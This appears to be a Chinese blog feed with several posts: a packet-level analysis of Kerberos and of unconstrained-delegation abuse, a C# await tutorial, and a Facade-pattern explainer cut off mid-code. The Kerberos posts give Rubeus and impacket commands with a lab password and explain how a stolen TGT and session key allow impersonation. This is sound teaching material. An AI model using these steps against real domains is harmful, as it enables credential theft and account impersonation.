<p>不过并不影响我们分析非约束委派攻击过程中的数据包</p>
<p>在本例中,恶意服务器能够解密目标服务器发送过来的ticket(由我们控制的账户hash加密),从而获取到用于解密authenticator字段的<code>session key</code>(<code>c-s-skey</code>)</p>
<p>获取到<code>c-s-skey</code>之后,解密authenticator字段</p>
<p><img alt="image-20220206020037601" src="Kerberos非约束委派数据包分析.assets/image-20220206020037601.png"></p>
<p>我们中点关注<code>cksum</code>字段</p>
<p>根据<a href="https://datatracker.ietf.org/doc/html/rfc4121#section-4.1.1">RFC 4121</a>中<code>4.1.1. Authenticator Checksum</code>章节中的描述</p>
<p><code>cksum</code>结构如下</p>
<p><img alt="1641276753342" src="Kerberos非约束委派数据包分析.assets/1641276753342.png"></p>
<p>可以看到flags字段中<code>Deleg</code>标志位是启用的,表明需要将凭据信息委派给远程主机</p>
<p>在启用了委派的情况下,TGT票据需要封装在<code>KRB_CRED</code>消息中</p>
<p><a href="https://datatracker.ietf.org/doc/html/rfc4120#section-3.6">KRB_CRED</a>消息是专门设计用来发送Kerberos凭据信息的,它里面封装的是票据以及加密的<code>session key</code>(<code>c-d-skey</code>)</p>
<p>下面是KRB_CRED消息以及解密后的enc-part字段</p>
<p><img alt="image-20220206020655812" src="Kerberos非约束委派数据包分析.assets/image-20220206020655812.png"></p>
<p>从ticket字段中的sname字段也可以看出来该票据是TGT票据</p>
<p>enc-part字段中包含<code>c-d-skey</code>,就是<code>KrbCredInfo</code>中的key字段</p>
<p>现在我们既拥有了<code>WIN-37U50GQO8KT$</code>账户的TGT票据,又拥有<code>c-d-skey</code>,就可以冒充该用户申请任意服务票据了</p>
<h1>0x4 结语</h1>
<p>有时候很多看起来想当然的问题,如果你深究一下,就会发掘出更多隐藏的细节</p>
<p>上面说了那么多,无非就是想说单独一个Kerberos票据并没有太大的作用(除了用来爆破——Kerberoasting)</p>
<p>只有有了对应的<code>session key</code>才能真正地将票据利用起来</p>Kerberos协议分析2022-02-05T00:00:00+01:002022-02-05T00:00:00+01:0012138tag:None,2022-02-05:kerberosxie-yi-fen-xi.html<p>references:</p>
<ul>
<li><a href="https://syfuhs.net/a-bit-about-kerberos">https://syfuhs.net/a-bit-about-kerberos</a></li>
</ul>
<h1>0x1 前言</h1>
<p>Kerberos本意为希腊神话中看守冥界之门的拥有三只头的恶犬,如下:</p>
<p>noborderfuckbiasdfjiab135twriabiajisadguiasgfastfyouasguidagsajdga<img alt="1640774470076" src="Kerberos协议分析.assets/1640774470076-16440576622641.png"></p>
<p>Kerberos协议在Windows AD安全领域中占据着举足轻重的地位,因此对Kerberos协议有一个相对透彻的理解还是很有必要的</p>
<p>这篇文章会通过Wireshark对Windows AD中Kerberos的一般通信过程进行详细的分析</p>
<h1>0x2 概述</h1>
<p>约定:</p>
<ul>
<li>c-d-skey表示client与dc(kdc)TGS阶段用于加密通信的session key </li>
<li>c-s-skey表示client与应用服务器(Application Server)在AP阶段用于加密通信的session key</li>
</ul>
<h2>0x2.1 AS阶段</h2>
<p>AS意为Authentication Service(认证服 …</p><p>references:</p>
<ul>
<li><a href="https://syfuhs.net/a-bit-about-kerberos">https://syfuhs.net/a-bit-about-kerberos</a></li>
</ul>
<h1>0x1 前言</h1>
<p>Kerberos本意为希腊神话中看守冥界之门的拥有三只头的恶犬,如下:</p>
<p>noborderfuckbiasdfjiab135twriabiajisadguiasgfastfyouasguidagsajdga<img alt="1640774470076" src="Kerberos协议分析.assets/1640774470076-16440576622641.png"></p>
<p>Kerberos协议在Windows AD安全领域中占据着举足轻重的地位,因此对Kerberos协议有一个相对透彻的理解还是很有必要的</p>
<p>这篇文章会通过Wireshark对Windows AD中Kerberos的一般通信过程进行详细的分析</p>
<h1>0x2 概述</h1>
<p>约定:</p>
<ul>
<li>c-d-skey表示client与dc(kdc)TGS阶段用于加密通信的session key </li>
<li>c-s-skey表示client与应用服务器(Application Server)在AP阶段用于加密通信的session key</li>
</ul>
<h2>0x2.1 AS阶段</h2>
<p>AS意为Authentication Service(认证服务)</p>
<ul>
<li>client向kdc发送AS-REQ(不包含pre-auth) </li>
<li>kdc返回KRB-ERR,要求客户端发送pre-auth </li>
<li>client向kdc发送包含pre-auth(使用client密码hash加密的时间戳)的AS-REQ </li>
<li>kdc验证用户身份(解密时间戳,验证时间是否为最近的时间)</li>
<li>kdc向client返回AS-REP,其中包含tgt票据以及session key(c-d-skey)</li>
<li>tgt票据加密部分使用krbtgt账户hash进行加密,enc-part字段使用client密码hash进行加密,其中包含有c-d-skey</li>
<li>client使用自己的密码hash解密enc-part获得c-d-skey,然后将c-d-skey和tgt票据缓存起来,以备后用</li>
</ul>
<h2>0x2.2 TGS阶段</h2>
<p>TGS意为Ticket Grant Service(票据颁发服务) </p>
<ul>
<li>client使用c-d-skey生成加密的authentictor字段并和tgt一起提交给KDC,该数据包为TGS-REQ,其中req-body字段中包含目标服务的spn</li>
<li>kdc解密tgt,获取c-d-skey,使用c-d-skey解密authenticator,验证client身份</li>
<li>根据client的请求颁发相应的服务票据,生成TGS-REP数据包返回给client </li>
<li>TGS-REP中包含服务票据以及enc-part,enc-part由c-d-skey进行加密,里面包含c-s-skey,票据的enc-part使用应用服务器的服务账户hash进行加密 </li>
<li>client解密TGS-REP后将服务票据和c-s-skey缓存起来,以备后用</li>
</ul>
<h2>0x2.3 AP阶段</h2>
<p>AP意为Application Service(应用服务) </p>
<ul>
<li>client向目标服务器server发送AP-REQ数据包,其中包含服务票据以及一个用于验证自己身份的authenticator</li>
<li>此authenticator字段使用c-s-skey进行加密 </li>
<li>server收到AP-REQ之后,使用自己的服务账户hash解密票据,从中获得c-s-skey,使用c-s-skey解密authenticator从而验证客户端身份 </li>
</ul>
<p>至此,kerberos完成,client和server开始加密通信</p>
<h1>0x3 抓包分析</h1>
<p>下面是具体的抓包分析,里面的字段可能和上面的概述有出入,但不影响理解Kerbero协议通信过程</p>
<p>我们这里以<code>Rubeus</code>和<code>smbclient.py</code>为例,请求目标服务器的cifs服务,示例用户为<code>MOTHER.FUCKER\Administrator</code></p>
<p>首先生成<code>keytab</code>文件,并应用到wireshark的KRB5协议中</p>
<div class="highlight"><pre><span></span><code><span class="nx">ktpass</span><span class="w"> </span><span class="o">-</span><span class="nx">out</span><span class="w"> </span><span class="nx">Administrator</span><span class="p">.</span><span class="nx">keytab</span><span class="w"> </span><span class="o">-</span><span class="nx">princ</span><span class="w"> </span><span class="nx">Administrator</span><span class="err">@</span><span class="nx">MOTHER</span><span class="p">.</span><span class="nx">FUCKER</span><span class="w"> </span><span class="o">-</span><span class="nx">mapUser</span><span class="w"> </span><span class="nx">Administrator</span><span class="err">@</span><span class="nx">MOTHER</span><span class="p">.</span><span class="nx">FUCKER</span><span class="w"> </span><span class="o">-</span><span class="nx">pass</span><span class="w"> </span><span class="nx">qwe123</span><span class="o">...</span><span class="w"> </span><span class="o">-</span><span class="nx">crypto</span><span class="w"> </span><span class="nx">all</span><span class="w"> </span><span class="o">-</span><span class="nx">ptype</span><span class="w"> </span><span class="nx">KRB5_NT_PRINCIPAL</span>
</code></pre></div>
<p><img alt="image-20220205185741295" src="Kerberos协议分析.assets/image-20220205185741295.png"></p>
<h2>0x3.1 AS阶段</h2>
<p>这里我们使用<code>Rubeus</code>直接请求TGT票据</p>
<div class="highlight"><pre><span></span><code>Rubeus.exe<span class="w"> </span>asktgt<span class="w"> </span>/user:Administrator<span class="w"> </span>/password:qwe123...<span class="w"> </span>/domain:MOTHER.FUCKER<span class="w"> </span>/dc:192.168.216.131<span class="w"> </span>/outfile:123.kirbi<span class="w"> </span>/opsec<span class="w"> </span>/force
</code></pre></div>
<h3>0x3.1.1 AS-REQ (no pre-auth)</h3>
<p><img alt="image-20220205220120888" src="Kerberos协议分析.assets/image-20220205220120888.png"></p>
<p>可以看到,在这个AS-REQ数据包中,并没有提供任何认证相关的信息,只是提供了client支持的所有加密类型,用户名<code>MOTHER.FUCKER\Administrator</code>以及client的地址信息(hostname)</p>
<h3>0x3.1.2 KRB-ERROR</h3>
<p><img alt="image-20220205220426395" src="Kerberos协议分析.assets/image-20220205220426395.png"></p>
<p>error-code字段显示错误类型为<code>eRR-PREAUTH-REQUIRED</code>,即要求client提供<code>pre-auth</code>数据</p>
<p>在e-data字段中,第一个PA-DATA——PA-ENCTYPE-INFO2中,kdc提供了自己支持的加密类型</p>
<p>分别是AES256和RC4,其中前者需要盐(<code>MOTHER.FUCKERAdministrator</code>),普通账户的盐值计算方式和计算机账户的盐值计算方式有细微的差别</p>
<h3>0x3.1.3 AS-REQ (with pre-auth)</h3>
<p><img alt="image-20220205222415704" src="Kerberos协议分析.assets/image-20220205222415704.png"></p>
<p>client选定加密类型23(RC4),将当前时间戳加密封装到<code>PA-ENC-TIMESTAMP</code>结构中</p>
<p>在req-body中指定票据申请者(<code>MOTHER.FUCKER\Administrator</code>)和要申请的票据(<code>krbtgt@MOTHER.FUCKER</code>)</p>
<h3>0x3.1.4 AS-REP</h3>
<p><img alt="image-20220205222842701" src="Kerberos协议分析.assets/image-20220205222842701.png"></p>
<p>ticket字段自不必说,就是TGT票据</p>
<p>enc-part由client的密码哈希加密,解密后的内容中最重要的就是<code>key</code>字段,也就是<code>c-d-skey</code>,其中包含密钥类型和密钥值</p>
<p>有了<code>c-d-skey</code>之后,就能进行下一阶段的通信了</p>
<h2>0x3.2 TGS阶段</h2>
<p>使用Rubeus利用AS阶段获取到的TGT票据缓存请求CIFS服务票据</p>
<div class="highlight"><pre><span></span><code>Rubeus.exe<span class="w"> </span>asktgs<span class="w"> </span>/ticket:123.kirbi<span class="w"> </span>/service:CIFS/WIN-37U50GQO8KT.MOTHER.FUCKER<span class="w"> </span>/dc:192.168.216.131<span class="w"> </span>/outfile:321.kirbi
</code></pre></div>
<h3>0x3.2.1 TGS-REQ</h3>
<p><img alt="image-20220205194150266" src="Kerberos协议分析.assets/image-20220205194150266.png"></p>
<p>TGT票据以及认证数据authenticator都在padata字段中——PA-TGS-REQ</p>
<p>TGT票据就是AS阶段返回的票据,原封不动放在这里</p>
<p>authenticator字段为使用c-d-skey加密的数据,解密如下:</p>
<p><img alt="image-20220205194406942" src="Kerberos协议分析.assets/image-20220205194406942.png"></p>
<p>可以看到authenticator字段中包含了票据申请者<code>MOTHER.FUCKER\Administrator</code>,这个必须要和TGT票据中的用户是一致的,不然会导致认证失败,同时也是为了防止冒充用户</p>
<p><img alt="image-20220205195035675" src="Kerberos协议分析.assets/image-20220205195035675.png"></p>
<p>req-body中主要的字段就是sname,指定了申请的票据的SPN<code>CIFS/WIN-37U50GQO8KT.MOTHER.FUCKER</code></p>
<h3>0x3.2.2 TGS-REP</h3>
<p><img alt="image-20220205195227046" src="Kerberos协议分析.assets/image-20220205195227046.png"></p>
<p>返回一个CIFS票据和enc-part</p>
<p>enc-part字段由c-d-skey加密,解密后内容如下:</p>
<p><img alt="image-20220205195354709" src="Kerberos协议分析.assets/image-20220205195354709.png"></p>
<p>最重要的字段依然是key(c-s-skey),有了这个key,就可以构造AP-REP数据包,向Server进行认证</p>
<h2>0x3.3 AP阶段</h2>
<div class="highlight"><pre><span></span><code><span class="n">python</span><span class="w"> </span><span class="n">smbclient</span><span class="p">.</span><span class="n">py</span><span class="w"> </span><span class="n">MOTHER</span><span class="p">.</span><span class="n">FUCKER</span><span class="o">/</span><span class="n">Administrator</span><span class="nv">@WIN</span><span class="o">-</span><span class="mi">37</span><span class="n">U50GQO8KT</span><span class="p">.</span><span class="n">MOTHER</span><span class="p">.</span><span class="n">FUCKER</span><span class="w"> </span><span class="o">-</span><span class="n">k</span><span class="w"> </span><span class="o">-</span><span class="k">no</span><span class="o">-</span><span class="n">pass</span><span class="w"> </span><span class="o">-</span><span class="n">target</span><span class="o">-</span><span class="n">ip</span><span class="w"> </span><span class="mf">192.168.216.131</span><span class="w"> </span><span class="o">-</span><span class="n">dc</span><span class="o">-</span><span class="n">ip</span><span class="w"> </span><span class="mf">192.168.216.131</span>
</code></pre></div>
<p>对impacket的文件进行了修改,将<code>impacket\smbconnection.py</code>的第<code>314</code>行修改为:</p>
<div class="highlight"><pre><span></span><code><span class="n">ccache</span> <span class="o">=</span> <span class="n">CCache</span><span class="o">.</span><span class="n">loadFile</span><span class="p">(</span><span class="sa">r</span><span class="s2">"C:\Users\x\1.ccache"</span><span class="p">)</span>
</code></pre></div>
<p>其中<code>C:\Users\x\1.ccache</code>是经过<code>ticketConvert.py</code>转换过的<code>ccache</code>格式的票据缓存</p>
<h3>0x3.3.1 AP-REQ</h3>
<p><img alt="image-20220205202629036" src="Kerberos协议分析.assets/image-20220205202629036.png"></p>
<p>这个数据包是在445端口捕获的,kerberos协议的ap-req被封装在SPNEGO数据包中</p>
<p>你可以将SPNEGO理解为一个用于将应用协议和认证协议分离开来的一种协议</p>
<p>在本例中,SPNEGO将smb协议和kerberos协议分离开来</p>
<p>在ap-req中,ticket字段为TGS阶段获取的票据,原封不动放在这里</p>
<p>authenticator中包含客户端身份信息,使用c-s-skey加密</p>
<h3>0x3.3.2 AP-REP</h3>
<p><img alt="image-20220205203228979" src="Kerberos协议分析.assets/image-20220205203228979.png"></p>
<p>在本例中,并不存在AP-REP数据包,只是在SPNEGO中返回了<code>accept-completed</code>代码,表示smb会话建立成功</p>
<p>在实际应用中,AP-REP只有在client在AP-REQ的authenticator字段提供了sub-key时候才会被返回,表明是否采用client提供的sub-key,或者向client返回自己选择的sub-key,用于后续的通信加密</p>
<h1>0x4 结语</h1>
<p>如果有不对的地方,希望能指出来,谢谢</p>
<p>今天是大年初五——破五,你们都吃饺子了吗?</p>C# await操作符2021-12-30T00:00:00+01:002021-12-30T00:00:00+01:0012138tag:None,2021-12-30:c-awaitcao-zuo-fu.html<p>references:</p>
<ul>
<li><a href="https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/operators/await">https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/operators/await</a></li>
</ul>
<h1>前言</h1>
<p>最近在看一个使用.Net实现的Kerberos库的代码,全是C#代码,里面很多语法都不太懂,这里做一下记录</p>
<h1>正文</h1>
<p>废话不多 …</p><p>references:</p>
<ul>
<li><a href="https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/operators/await">https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/operators/await</a></li>
</ul>
<h1>前言</h1>
<p>最近在看一个使用.Net实现的Kerberos库的代码,全是C#代码,里面很多语法都不太懂,这里做一下记录</p>
<h1>正文</h1>
<p>废话不多说,先上代码:</p>
<div class="highlight"><pre><span></span><code><span class="k">using</span><span class="w"> </span><span class="nn">System</span><span class="p">;</span>
<span class="k">using</span><span class="w"> </span><span class="nn">System.Net.Http</span><span class="p">;</span>
<span class="k">using</span><span class="w"> </span><span class="nn">System.Threading.Tasks</span><span class="p">;</span>
<span class="k">public</span><span class="w"> </span><span class="k">class</span><span class="w"> </span><span class="nc">AwaitOperator</span>
<span class="p">{</span>
<span class="w"> </span><span class="k">public</span><span class="w"> </span><span class="k">static</span><span class="w"> </span><span class="k">async</span><span class="w"> </span><span class="n">Task</span><span class="w"> </span><span class="nf">Main</span><span class="p">()</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">Task</span><span class="o"><</span><span class="kt">int</span><span class="o">></span><span class="w"> </span><span class="n">downloading</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">DownloadDocsMainPageAsync</span><span class="p">();</span>
<span class="w"> </span><span class="n">Console</span><span class="p">.</span><span class="n">WriteLine</span><span class="p">(</span><span class="s">$"{nameof(Main)}: Launched downloading."</span><span class="p">);</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">bytesLoaded</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="n">downloading</span><span class="p">;</span>
<span class="w"> </span><span class="n">Console</span><span class="p">.</span><span class="n">WriteLine</span><span class="p">(</span><span class="s">$"{nameof(Main)}: Downloaded {bytesLoaded} bytes."</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">private</span><span class="w"> </span><span class="k">static</span><span class="w"> </span><span class="k">async</span><span class="w"> </span><span class="n">Task</span><span class="o"><</span><span class="kt">int</span><span class="o">></span><span class="w"> </span><span class="n">DownloadDocsMainPageAsync</span><span class="p">()</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">Console</span><span class="p">.</span><span class="n">WriteLine</span><span class="p">(</span><span class="s">$"{nameof(DownloadDocsMainPageAsync)}: About to start downloading."</span><span class="p">);</span>
<span class="w"> </span><span class="kt">var</span><span class="w"> </span><span class="n">client</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">HttpClient</span><span class="p">();</span>
<span class="w"> </span><span class="kt">byte</span><span class="p">[]</span><span class="w"> </span><span class="n">content</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="n">client</span><span class="p">.</span><span class="n">GetByteArrayAsync</span><span class="p">(</span><span class="s">"https://docs.microsoft.com/en-us/"</span><span class="p">);</span>
<span class="w"> </span><span class="n">Console</span><span class="p">.</span><span class="n">WriteLine</span><span class="p">(</span><span class="s">$"{nameof(DownloadDocsMainPageAsync)}: Finished downloading."</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">content</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p><code>await</code>操作符会将使用<code>async</code>关键字修饰的方法挂起,我不太确定挂起这个说法准不准确,我们拿上面的代码来说,<code>DownloadDocsMainPageAsync</code>方法被调用之后会理解返回到<code>Main</code>方法中,也就是说它不会阻塞<code>Main</code>方法的执行</p>
<p><code>Main</code>方法会在<code>await</code>操作符出现的地方阻塞,而此时<code>DownloadDocsMainPageAsync</code>方法已经执行了一段时间了,当然在上面的代码中体现不出来,因为在方法调用和真正用到方法返回值之间只有一个简单的输出</p>
<p>此时<code>Main</code>方法会等待<code>DownloadDocsMainPageAsync</code>异步方法的返回值,而在该方法中,它也正在等待<code>GetByteArrayAsync</code>方法的返回值,当这两个方法依次完成异步操作之后,<code>Main</code>方法继续执行剩余的代码</p>
<p>我们可以在<code>Main</code>方法中加一个Sleep来更直观地看到异步执行的效果:</p>
<div class="highlight"><pre><span></span><code><span class="k">using</span><span class="w"> </span><span class="nn">System</span><span class="p">;</span>
<span class="k">using</span><span class="w"> </span><span class="nn">System.Net.Http</span><span class="p">;</span>
<span class="k">using</span><span class="w"> </span><span class="nn">System.Threading</span><span class="p">;</span>
<span class="k">using</span><span class="w"> </span><span class="nn">System.Threading.Tasks</span><span class="p">;</span>
<span class="k">public</span><span class="w"> </span><span class="k">class</span><span class="w"> </span><span class="nc">AwaitOperator</span>
<span class="p">{</span>
<span class="w"> </span><span class="k">public</span><span class="w"> </span><span class="k">static</span><span class="w"> </span><span class="k">async</span><span class="w"> </span><span class="n">Task</span><span class="w"> </span><span class="nf">Main</span><span class="p">()</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">Task</span><span class="o"><</span><span class="kt">int</span><span class="o">></span><span class="w"> </span><span class="n">downloading</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">DownloadDocsMainPageAsync</span><span class="p">();</span>
<span class="w"> </span><span class="n">Console</span><span class="p">.</span><span class="n">WriteLine</span><span class="p">(</span><span class="s">$"{nameof(Main)}: Launched downloading."</span><span class="p">);</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kt">var</span><span class="w"> </span><span class="n">i</span><span class="o">=</span><span class="m">0</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="o"><</span><span class="m">5</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="o">++</span><span class="p">){</span>
<span class="w"> </span><span class="n">Console</span><span class="p">.</span><span class="n">WriteLine</span><span class="p">(</span><span class="s">"tick tock..."</span><span class="p">);</span>
<span class="w"> </span><span class="n">Thread</span><span class="p">.</span><span class="n">Sleep</span><span class="p">(</span><span class="m">1000</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">bytesLoaded</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="n">downloading</span><span class="p">;</span>
<span class="w"> </span><span class="n">Console</span><span class="p">.</span><span class="n">WriteLine</span><span class="p">(</span><span class="s">$"{nameof(Main)}: Downloaded {bytesLoaded} bytes."</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">private</span><span class="w"> </span><span class="k">static</span><span class="w"> </span><span class="k">async</span><span class="w"> </span><span class="n">Task</span><span class="o"><</span><span class="kt">int</span><span class="o">></span><span class="w"> </span><span class="n">DownloadDocsMainPageAsync</span><span class="p">()</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">Console</span><span class="p">.</span><span class="n">WriteLine</span><span class="p">(</span><span class="s">$"{nameof(DownloadDocsMainPageAsync)}: About to start downloading."</span><span class="p">);</span>
<span class="w"> </span><span class="kt">var</span><span class="w"> </span><span class="n">client</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">HttpClient</span><span class="p">();</span>
<span class="w"> </span><span class="kt">byte</span><span class="p">[]</span><span class="w"> </span><span class="n">content</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="n">client</span><span class="p">.</span><span class="n">GetByteArrayAsync</span><span class="p">(</span><span class="s">"https://docs.microsoft.com/en-us/"</span><span class="p">);</span>
<span class="w"> </span><span class="n">Console</span><span class="p">.</span><span class="n">WriteLine</span><span class="p">(</span><span class="s">$"{nameof(DownloadDocsMainPageAsync)}: Finished downloading."</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">content</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p><img alt="image-20211230233304140" src="本项目包含低等级的增量(流)解析以及构造器抽象(被jackson data processor所使用).assets/image-20211230233304140.png"></p>
<p>可以看到异步方法被调用之后,并不会立刻返回,而是去执行方法体中的代码,当执行到<code>await</code>修饰的异步方法时会立即返回到主方法,同时异步方法<code>GetByteArrayAsync</code>开始下载数据</p>
<p>最后在<code>Main</code>方法中使用<code>await</code>操作符获取异步方法的返回值</p>
<h2>Task类</h2>
<p>你在读上面的代码时候可能会产生一个疑问,<code>DownloadDocsMainPageAsync</code>的返回值明明是一个<code>Task<int></code>类型的,为什么却可以写出下面的代码呢?</p>
<div class="highlight"><pre><span></span><code><span class="kt">int</span><span class="w"> </span><span class="n">bytesLoaded</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="n">downloading</span><span class="p">;</span>
</code></pre></div>
<p>这里就体现出<code>await</code>操作符的作用了,在C#中,<code>Task<?></code>表示一个可以返回<code>?</code>类型返回值的方法</p>
<p>如果我们把<code>await</code>操作符删除掉,就会出现如下错误</p>
<p><img alt="image-20211230234053785" src="本项目包含低等级的增量(流)解析以及构造器抽象(被jackson data processor所使用).assets/image-20211230234053785.png"></p>
<p>只有使用<code>await</code>操作符才可以获取到异步方法中<code>Task<?></code>中的<code>?</code>类型的返回值</p>
<h1>结语</h1>
<p>没有系统学习过C#,参考着文档以及示例代码琢磨的,大概率有说的不对的地方,希望大家可以指正</p>Facade模式2021-12-07T00:00:00+01:002021-12-07T00:00:00+01:0012138tag:None,2021-12-07:facademo-shi.html<p>references:</p>
<p><a href="https://github.com/iluwatar/java-design-patterns/tree/master/facade">https://github.com/iluwatar/java-design-patterns/tree/master/facade</a></p>
<p>facade这个单词的字面意思是“正面、外观”</p>
<p>举一个现实中的例子来更容易去理解这个模式的意图:</p>
<p>如果我问你金矿是怎么运作的 …</p><p>references:</p>
<p><a href="https://github.com/iluwatar/java-design-patterns/tree/master/facade">https://github.com/iluwatar/java-design-patterns/tree/master/facade</a></p>
<p>facade这个单词的字面意思是“正面、外观”</p>
<p>举一个现实中的例子来更容易去理解这个模式的意图:</p>
<p>如果我问你金矿是怎么运作的,你可能会说,这很简单,矿工下去把金子挖出来就完事儿了</p>
<p>你这么说是因为你只看到了金矿向外暴露的样子</p>
<p>实际上金矿内部很复杂,想挖出金子还需要做很多其他的工作</p>
<p>==通过一个简单的接口来使用一个复杂的系统就是facade==</p>
<p>换句话说,Facade模式为一个复杂的系统提供了一个简单的接口</p>
<p>引用维基百科上的话,facade是一个对象,它为更大的代码体(比如类库)提供简化的接口</p>
<p>本示例的背景是矿工挖金矿</p>
<p>在程序的入口函数中,只有几行代码:</p>
<div class="highlight"><pre><span></span><code><span class="kn">package</span><span class="w"> </span><span class="nn">com.iluwatar.facade</span><span class="p">;</span>
<span class="kd">public</span><span class="w"> </span><span class="kd">class</span> <span class="nc">App</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">public</span><span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="n">String</span><span class="o">[]</span><span class="w"> </span><span class="n">args</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="n">facade</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">DwarvenGoldmineFacade</span><span class="p">();</span>
<span class="w"> </span><span class="n">facade</span><span class="p">.</span><span class="na">startNewDay</span><span class="p">();</span>
<span class="w"> </span><span class="n">facade</span><span class="p">.</span><span class="na">digOutGold</span><span class="p">();</span>
<span class="w"> </span><span class="n">facade</span><span class="p">.</span><span class="na">endDay</span><span class="p">();</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>在获取到facade对象之后,只调用了三个方法</p>
<p>就像上面说过的,你只看到了矿工下去挖矿,然后金子被运出来,你并不了解内部的运作方式,正如主方法中调用的这三个方法:开始新的一天、挖金子、结束</p>
<p>facade为你隐藏了内部实现,你不需要关心他是怎么开始的新的一天,怎么挖的金子,怎么结束的一天,你只需要使用就行了</p>
<p>facade切断了终端用户与金矿子系统的依赖</p>
<p>在本例中,金矿子系统就是抽象类<code>DwarvenMineWorker</code></p>
<div class="highlight"><pre><span></span><code><span class="kn">package</span><span class="w"> </span><span class="nn">com.iluwatar.facade</span><span class="p">;</span>
<span class="kn">import</span><span class="w"> </span><span class="nn">java.util.Arrays</span><span class="p">;</span>
<span class="kn">import</span><span class="w"> </span><span class="nn">lombok.extern.slf4j.Slf4j</span><span class="p">;</span>
<span class="nd">@Slf4j</span>
<span class="kd">public</span><span class="w"> </span><span class="kd">abstract</span><span class="w"> </span><span class="kd">class</span> <span class="nc">DwarvenMineWorker</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">public</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">goToSleep</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">LOGGER</span><span class="p">.</span><span class="na">info</span><span class="p">(</span><span class="s">"{} goes to sleep."</span><span class="p">,</span><span class="w"> </span><span class="n">name</span><span class="p">());</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kd">public</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">wakeUp</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">LOGGER</span><span class="p">.</span><span class="na">info</span><span class="p">(</span><span class="s">"{} wakes up."</span><span class="p">,</span><span class="w"> </span><span class="n">name</span><span class="p">());</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kd">public</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">goHome</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">LOGGER</span><span class="p">.</span><span class="na">info</span><span class="p">(</span><span class="s">"{} goes home."</span><span class="p">,</span><span class="w"> </span><span class="n">name</span><span class="p">());</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kd">public</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">goToMine</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">LOGGER</span><span class="p">.</span><span class="na">info</span><span class="p">(</span><span class="s">"{} goes to the mine."</span><span class="p">,</span><span class="w"> </span><span class="n">name</span><span class="p">());</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kd">private</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">action</span><span class="p">(</span><span class="n">Action</span><span class="w"> </span><span class="n">action</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">switch</span><span class="w"> </span><span class="p">(</span><span class="n">action</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="n">GO_TO_SLEEP</span><span class="p">:</span>
<span class="w"> </span><span class="n">goToSleep</span><span class="p">();</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="n">WAKE_UP</span><span class="p">:</span>
<span class="w"> </span><span class="n">wakeUp</span><span class="p">();</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="n">GO_HOME</span><span class="p">:</span>
